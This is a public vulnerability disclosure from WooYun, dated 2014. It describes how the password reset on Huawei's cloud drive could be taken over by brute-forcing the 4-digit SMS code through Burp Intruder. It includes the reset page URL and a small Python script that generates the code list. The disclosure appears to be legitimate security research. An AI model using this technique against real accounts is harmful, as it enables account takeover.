[公开漏洞]华为网盘部分用户密码修改

来源：WooYun　浏览：841次　时间：2014-05-05

华为网盘部分用户密码修改相关厂商：华为技术有限公司漏洞作者：lingfong 提交时间：2014-03-20 09:33 公开时间：2014-05-04 09:33 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：20 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：认证设计不合理漏洞详情披露状态：

2014-03-20：细节已通知厂商并且等待厂商处理中
2014-03-20：厂商已经确认，细节仅向厂商公开
2014-03-30：细节向核心白帽子及相关领域专家公开
2014-04-09：细节向普通白帽子公开
2014-04-19：细节向实习白帽子公开
2014-05-04：细节向公众公开

简要描述：

华为网盘部分用户密码修改

详细说明：

针对绑定了手机号的用户可以修改其密码（用户注册后可以在设置里绑定手机）

本次攻击不需要知道目标的手机号，只需要知道用户名（通常是邮箱或者手机号）就可以了。

漏洞证明：

漏洞地址

http://dbank.vmall.com/netdisk/resetpassword.html?v=2.9.41372210600917#inputAccount

这个网页是用来找回密码的，输入目标用户名，然后找回方式选择“通过密保手机重置密码”

1(1).jpg

Burpsuite拦截数据包

2(1).jpg

GET请求中的r参数就是验证码，设置其为变量。

已知这个手机验证码是4位数字组合，写个python脚本生成个字典

f=open("dict.txt",'w+')

chars=[

'0','1','2','3','4','5','6','7','8','9',

# 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',

# 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',

]

base=len(chars) #62

end=len(chars)**4

for i in range(0,end):

n=i

ch0=chars[n%base]

n=n/base

ch1=chars[n%base]

n=n/base

ch2=chars[n%base]

n=n/base

ch3=chars[n%base]

print i,ch3,ch2,ch1,ch0

f.write(ch3+ch2+ch1+ch0+'\n')

f.close()

开启intruder，这里有10000个请求，几分钟搞定。